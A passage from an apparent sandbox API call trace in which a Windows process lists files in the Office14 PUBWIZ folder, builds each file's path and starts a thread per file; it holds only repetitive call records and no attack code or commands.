lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bb0 [0159.525] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6579900, ftCreationTime.dwHighDateTime=0x1c916ff, ftLastAccessTime.dwLowDateTime=0x6035c410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6579900, ftLastWriteTime.dwHighDateTime=0x1c916ff, nFileSizeHigh=0x0, nFileSizeLow=0x1e56, dwReserved0=0x0, dwReserved1=0x0, cFileName="CATALOG.XML", cAlternateFileName="")) returned 1 [0159.525] wcscmp (_String1="CATALOG.XML", _String2=".") returned 1 [0159.525] wcscmp (_String1="CATALOG.XML", _String2="..") returned 1 [0159.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cdde1c0 [0159.526] wcscpy (in: _Dest=0x1cdde1c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0159.526] wcscat (in: _Dest=0x1cdde1c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0159.526] wcscat (in: _Dest=0x1cdde1c0, _Source="CATALOG.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATALOG.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATALOG.XML" [0159.526] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdde1c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1328 [0159.527] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c538200, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x6035c410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c538200, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x62f96, dwReserved0=0x0, dwReserved1=0x0, cFileName="CATWIZ.POC", cAlternateFileName="")) returned 1 [0159.527] wcscmp (_String1="CATWIZ.POC", _String2=".") returned 1 [0159.527] wcscmp (_String1="CATWIZ.POC", _String2="..") returned 1 [0159.527] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1cdde250 [0159.527] wcscpy (in: _Dest=0x1cdde250, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0159.527] wcscat (in: _Dest=0x1cdde250, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0159.527] wcscat (in: _Dest=0x1cdde250, _Source="CATWIZ.POC" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATWIZ.POC") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATWIZ.POC" [0159.527] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdde250, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27ac [0159.528] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1eb5dc00, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1eb5dc00, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x24f44, dwReserved0=0x0, dwReserved1=0x0, cFileName="CATWIZ11.POC", cAlternateFileName="")) returned 1 [0159.528] wcscmp (_String1="CATWIZ11.POC", _String2=".") returned 1 [0159.528] wcscmp (_String1="CATWIZ11.POC", _String2="..") returned 1 [0159.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1cdde2e0 [0159.528] wcscpy (in: _Dest=0x1cdde2e0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0159.528] wcscat (in: _Dest=0x1cdde2e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0159.528] wcscat (in: _Dest=0x1cdde2e0, _Source="CATWIZ11.POC" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATWIZ11.POC") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATWIZ11.POC" [0159.528] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdde2e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27b0 [0159.529] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73b44000, ftCreationTime.dwHighDateTime=0x1c65228, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73b44000, ftLastWriteTime.dwHighDateTime=0x1c65228, nFileSizeHigh=0x0, nFileSizeLow=0x2c1df, dwReserved0=0x0, dwReserved1=0x0, cFileName="CERT.DPV", cAlternateFileName="")) returned 1 [0159.529] wcscmp (_String1="CERT.DPV", _String2=".") returned 1 [0159.529] wcscmp (_String1="CERT.DPV", _String2="..") returned 1 [0159.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1cdb74f0 [0159.530] wcscpy (in: _Dest=0x1cdb74f0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0159.530] wcscat (in: _Dest=0x1cdb74f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0159.530] wcscat (in: _Dest=0x1cdb74f0, _Source="CERT.DPV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT.DPV") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT.DPV" [0159.530] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb74f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27b4 [0159.531] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1122e00, ftCreationTime.dwHighDateTime=0x1c916ff, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb1122e00, ftLastWriteTime.dwHighDateTime=0x1c916ff, nFileSizeHigh=0x0, nFileSizeLow=0x170a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CERT.XML", cAlternateFileName="")) returned 1 [0159.531] wcscmp (_String1="CERT.XML", _String2=".") returned 1 [0159.531] wcscmp (_String1="CERT.XML", _String2="..") returned 1 [0159.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1cdb7570 [0159.531] wcscpy (in: _Dest=0x1cdb7570, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0159.531] wcscat (in: _Dest=0x1cdb7570, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0159.531] wcscat (in: _Dest=0x1cdb7570, _Source="CERT.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT.XML" [0159.531] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb7570, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27b8 [0159.533] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1eb5dc00, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1eb5dc00, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x11b82, dwReserved0=0x0, dwReserved1=0x0, cFileName="CERT98.POC", cAlternateFileName="")) returned 1 [0159.533] wcscmp (_String1="CERT98.POC", _String2=".") returned 1 [0159.533] wcscmp (_String1="CERT98.POC", _String2="..") returned 1 [0159.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1cdde370 [0159.533] wcscpy (in: _Dest=0x1cdde370, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0159.533] wcscat (in: _Dest=0x1cdde370, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0159.533] wcscat (in: _Dest=0x1cdde370, _Source="CERT98.POC" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT98.POC") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT98.POC" [0159.533] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdde370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27bc [0159.534] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1eb5dc00, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1eb5dc00, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x53bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="CERT98SP.POC", cAlternateFileName="")) returned 1 [0159.534] wcscmp (_String1="CERT98SP.POC", _String2=".") returned 1 [0159.534] wcscmp (_String1="CERT98SP.POC", _String2="..") returned 1 [0159.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1cdde400 [0159.534] wcscpy (in: _Dest=0x1cdde400, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0159.534] wcscat (in: _Dest=0x1cdde400, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0159.534] wcscat (in: _Dest=0x1cdde400, _Source="CERT98SP.POC" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT98SP.POC") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT98SP.POC" [0159.534] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdde400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27c0 [0159.535] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fe70900, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1fe70900, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x170e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHECKER.POC", cAlternateFileName="")) returned 1 [0159.535] wcscmp (_String1="CHECKER.POC", _String2=".") returned 1 [0159.535] wcscmp (_String1="CHECKER.POC", _String2="..") returned 1 [0159.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cdde490 [0159.535] wcscpy (in: _Dest=0x1cdde490, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0159.536] wcscat (in: _Dest=0x1cdde490, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0159.536] wcscat (in: _Dest=0x1cdde490, _Source="CHECKER.POC" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CHECKER.POC") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CHECKER.POC" [0159.536] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdde490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27c4 [0159.537] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x932e9200, ftCreationTime.dwHighDateTime=0x1c9c700, ftLastAccessTime.dwLowDateTime=0x51ce9230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x932e9200, ftLastWriteTime.dwHighDateTime=0x1c9c700, nFileSizeHigh=0x0, nFileSizeLow=0x2808, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTACTINFOBB.DPV", cAlternateFileName="CONTAC~1.DPV")) returned 1 [0159.537] wcscmp (_String1="CONTACTINFOBB.DPV", _String2=".") returned 1 [0159.537] wcscmp (_String1="CONTACTINFOBB.DPV", _String2="..") returned 1 [0159.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1cdde520 [0159.537] wcscpy (in: _Dest=0x1cdde520, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0159.537] wcscat (in: _Dest=0x1cdde520, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0159.537] wcscat (in: _Dest=0x1cdde520, _Source="CONTACTINFOBB.DPV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CONTACTINFOBB.DPV") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CONTACTINFOBB.DPV" [0159.537] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdde520, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27c8 [0159.539] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x854dcb00, ftCreationTime.dwHighDateTime=0x1c9c314, ftLastAccessTime.dwLowDateTime=0x6048cf10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x854dcb00, ftLastWriteTime.dwHighDateTime=0x1c9c314, nFileSizeHigh=0x0, nFileSizeLow=0x4ce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTACTINFOBB.POC", cAlternateFileName="CONTAC~1.POC")) returned 1 [0159.539] wcscmp (_String1="CONTACTINFOBB.POC", _String2=".") returned 1 [0159.539] wcscmp (_String1="CONTACTINFOBB.POC", _String2="..") returned 1 [0159.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1cdde5b0 [0159.539] wcscpy (in: _Dest=0x1cdde5b0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0159.539] wcscat (in: _Dest=0x1cdde5b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0159.539] wcscat (in: _Dest=0x1cdde5b0, _Source="CONTACTINFOBB.POC" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CONTACTINFOBB.POC") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CONTACTINFOBB.POC" [0159.539] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdde5b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27cc [0159.540] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fe70900, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x604d91d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1fe70900, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0xc692, dwReserved0=0x0, dwReserved1=0x0, cFileName="COUPON.POC", cAlternateFileName="")) returned 1 [0159.540] wcscmp (_String1="COUPON.POC", _String2=".") returned 1 [0159.540] wcscmp (_String1="COUPON.POC", _String2="..") returned 1 [0159.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1cdde640 [0159.541] wcscpy (in: _Dest=0x1cdde640, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0159.541] wcscat (in: _Dest=0x1cdde640, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0159.541] wcscat (in: _Dest=0x1cdde640, _Source="COUPON.POC" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\COUPON.POC") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\COUPON.POC" [0159.541] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdde640, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27d0 [0159.542] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ff04000, ftCreationTime.dwHighDateTime=0x1c5d95d, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8ff04000, ftLastWriteTime.dwHighDateTime=0x1c5d95d, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGACCBAR.DPV", cAlternateFileName="")) returned 1 [0159.542] wcscmp (_String1="DGACCBAR.DPV", _String2=".") returned 1 [0159.542] wcscmp (_String1="DGACCBAR.DPV", _String2="..") returned 1 [0159.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1cdde6d0 [0159.542] wcscpy (in: _Dest=0x1cdde6d0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0159.542] wcscat (in: _Dest=0x1cdde6d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0159.542] wcscat (in: _Dest=0x1cdde6d0, _Source="DGACCBAR.DPV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBAR.DPV") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBAR.DPV" [0159.542] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdde6d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27d4 [0159.543] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0ded00, ftCreationTime.dwHighDateTime=0x1c98d98, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa0ded00, ftLastWriteTime.dwHighDateTime=0x1c98d98, nFileSizeHigh=0x0, nFileSizeLow=0xb22, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGACCBAR.XML", cAlternateFileName="")) returned 1 [0159.543] wcscmp (_String1="DGACCBAR.XML", _String2=".") returned 1 [0159.543] wcscmp (_String1="DGACCBAR.XML", _String2="..") returned 1 [0159.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1cdde760 [0159.543] wcscpy (in: _Dest=0x1cdde760, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0159.543] wcscat (in: _Dest=0x1cdde760, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0159.544] wcscat (in: _Dest=0x1cdde760, _Source="DGACCBAR.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBAR.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBAR.XML" [0159.544] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdde760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27d8 [0159.544] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebf1300, ftCreationTime.dwHighDateTime=0x1c5d95d, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8ebf1300, ftLastWriteTime.dwHighDateTime=0x1c5d95d, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGACCBOX.DPV", cAlternateFileName="")) returned 1 [0159.544] wcscmp (_String1="DGACCBOX.DPV", _String2=".") returned 1 [0159.544] wcscmp (_String1="DGACCBOX.DPV", _String2="..") returned 1 [0159.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1cdde7f0 [0159.545] wcscpy (in: _Dest=0x1cdde7f0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0159.545] wcscat (in: _Dest=0x1cdde7f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0159.545] wcscat (in: _Dest=0x1cdde7f0, _Source="DGACCBOX.DPV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBOX.DPV") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBOX.DPV" [0159.545] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdde7f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27dc [0159.546] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6027400, ftCreationTime.dwHighDateTime=0x1c91701, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6027400, ftLastWriteTime.dwHighDateTime=0x1c91701, nFileSizeHigh=0x0, nFileSizeLow=0x34e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGACCBOX.XML", cAlternateFileName="")) returned 1 [0159.546] wcscmp (_String1="DGACCBOX.XML", _String2=".") returned 1 [0159.546] wcscmp (_String1="DGACCBOX.XML", _String2="..") returned 1 [0159.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1cdde880 [0159.546] wcscpy (in: _Dest=0x1cdde880, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0159.546] wcscat (in: _Dest=0x1cdde880, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0159.546] wcscat (in: _Dest=0x1cdde880, _Source="DGACCBOX.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBOX.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBOX.XML" [0159.546] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdde880, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27e0 [0159.547] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe82ce100, ftCreationTime.dwHighDateTime=0x1c5ffa1, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe82ce100, ftLastWriteTime.dwHighDateTime=0x1c5ffa1, nFileSizeHigh=0x0, nFileSizeLow=0x4b2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGAD.DPV", cAlternateFileName="")) returned 1 [0159.547] wcscmp (_String1="DGAD.DPV", _String2=".") returned 1 [0159.547] wcscmp (_String1="DGAD.DPV", _String2="..") returned 1 [0159.547] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1cdb75f0 [0159.547] wcscpy (in: _Dest=0x1cdb75f0, _Source="C:\\Program 